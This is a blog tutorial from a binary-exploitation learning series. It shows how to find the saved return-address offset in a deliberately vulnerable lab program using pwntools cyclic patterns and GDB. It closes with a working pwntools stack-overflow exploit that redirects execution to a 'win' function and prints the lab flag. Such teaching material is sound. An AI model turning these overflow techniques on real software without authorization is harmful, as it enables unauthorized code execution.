Published on

Pwn Learning Path #6: Finding RIP Offsets With Cyclic Patterns

Authors
  • avatar
    Name
    Muhammad Huzaifa
    Twitter

The earlier labs all had a 64-byte buffer followed by an 8-byte saved rbp, so the saved RIP offset was 72. This lab deliberately broke that pattern with a structure:

struct request {
    char label[11];
    char input[73];
    unsigned int marker;
};

The vulnerable read starts at req.input, not at the beginning of a neat standalone array:

read(STDIN_FILENO, req.input, 220);

Compiler layout and alignment made mental arithmetic less trustworthy. The right answer was to measure the crash.

Generate a unique pattern

Pwntools creates a sequence where small subsequences have unique positions:

cyclic 200

I sent that pattern to the program under GDB:

gdb ./cyclic_offset
run
info registers
x/gx $rsp

Why I inspected RSP

The crash happened on the ret instruction inside vuln. At that moment, rip still identified the failing ret; it had not successfully loaded the invalid destination.

The address ret was about to consume was at [rsp], so x/gx $rsp was the useful observation. The stack contained:

0x7a61616179616161

I passed those eight bytes back to pwntools:

from pwn import *

crash_value = 0x7a61616179616161
print(cyclic_find(p64(crash_value)[:4]))

The result was:

93

That means byte 93 of the input is the first byte that replaces the saved return address.

Proving the result

I replaced the cyclic pattern with a controlled payload:

from pwn import *

elf = context.binary = ELF('./cyclic_offset', checksec=False)
io = process(elf.path)

payload = flat(
    b'A' * 93,
    elf.symbols['win'],
)

io.sendline(payload)
print(io.recvall().decode())

The program printed:

local{cyclic_offset_found}

The reusable debugging rule

My main lesson was not the number 93. It was this rule:

If the program crashes at ret and rip still points to that instruction, inspect the value at [rsp]. That is the candidate return address ret is trying to use.

Cyclic patterns turn “how much padding?” into an observation instead of a guess. That remains useful when source is missing, structures are involved, or compiler layout differs from expectations.

Series navigation

← Part 5: three arguments · Part 7: stack alignment →